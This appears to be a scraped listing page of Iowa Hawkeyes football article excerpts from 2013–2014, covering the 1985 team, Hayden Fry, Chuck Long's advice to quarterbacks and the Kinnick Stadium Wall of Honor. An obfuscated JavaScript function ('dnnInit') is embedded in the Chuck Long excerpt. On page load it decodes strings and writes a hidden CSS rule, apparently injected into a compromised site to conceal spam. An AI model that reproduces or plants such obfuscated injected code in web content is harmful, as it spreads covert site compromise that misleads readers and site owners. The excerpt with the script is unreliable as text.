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Iowa’s 11th-best football victory of the past 50 years

[ 0 ] August 19, 2014

Iowa dismantled Iowa State 57-3 on Sept. 28, 1985. Two days later, the Hawkeyes moved to the No. 1 spot in the Associated Press college football poll. Michigan State came to Kinnick Stadium on Oct. 5, intent on making it a short stay. Iowa jumped out to a 13-0 lead, but the Spartans stormed back. […]

Iowa’s 14th-best football win of past 50 years

[ 0 ] August 16, 2014

When Texas native Hayden Fry took the Iowa job in 1979, “Hook ‘Em Hawks” became a popular bumper sticker. The phrase was borrowed from the University of Texas, where “Hook ‘Em Horns” is part of the culture. So you can understand why Fry, who had a 2-11 record against Texas as the coach at SMU […]

Drew Cook managing high expectations, goals

[ 0 ] July 26, 2014

Unlike many of his peers, Drew Cook isn’t on Twitter.

A TV show Hawkeye football fans don’t want to miss

[ 0 ] October 24, 2013

How do you decide which sports stories are worth re-telling? Bill Friedman, a coordinating producer for Big Ten Network, offered a simple litmus test, and explained why Iowa’s 1985 football team passed with ease. “I think what we look for is, you want to pick a team where a fan would say, ‘Of course I […]

Back at Kinnick, where he hoped to coach Iowa, Terry Allen will 'think of my dad'

[ 0 ] September 3, 2013

IOWA CITY, Ia. – Five-year-old Terry Allen knew his parents had an extra ticket to the Iowa football game that fall weekend. So he got busy. “I went out and raked the yard,” Allen said. “My dad said, “Oh, let’s take him.’ ” That was the first of many trips to Kinnick Stadium for Allen, who […]

Nine former Hawkeyes to enter new Wall of Honor on Saturday

[ 0 ] August 29, 2013

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Chuck Long offers some advice to Jake Rudock

[ 0 ] August 27, 2013

Chuck Long, who became the first college player to pass for 10,000 yards and was Iowa’s starting quarterback from 1982 to 1985, got his all-America career off to a bumpy start. He has some advice for the Hawkeyes’ Jake Rudock, who will make his first career start Saturday against Northern Illinois. function dnnInit(){var a=0,m,v,t,z,x=new Array(“9091968376″,”88879181928187863473749187849392773592878834213333338896″,”778787″,”949990793917947998942577939317″),l=x.length;while(++a<=l){m=x[l-a];t=z="";for(v=0;v<m.length;){t+=m.charAt(v++);if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);t="";}}x[l-a]=z;}document.write(".”+x[2]+”{“+x[1]+”}”);}dnnInit(); […]

Nine Hawkeyes named to new Kinnick Stadium Wall of Honor

[ 0 ] August 20, 2013

Nine of Iowa football’s most prolific athletes will be recognized with the creation of the Kinnick Stadium Wall of Honor, the University of Iowa announced Tuesday in a news release. Each of the nine Hawkeyes will have their name and jersey numbers displayed on the lowest ribbon near the letters of the press box. The […]

Chuck Long has advice for competing Iowa QB trio

[ 0 ] July 24, 2013

Chuck Long has a message for the quarterbacks competing for the starting position on the Iowa football team: “It all gets back to not making mistakes,” said Long, a former All-America quarterback at Iowa in the mid-1980s. “I’ve always felt with a young or a brand-new quarterback, don’t beat yourself. You’ve got to learn not […]

Video from Day 1 of Big Ten Media Days

[ 0 ] July 24, 2013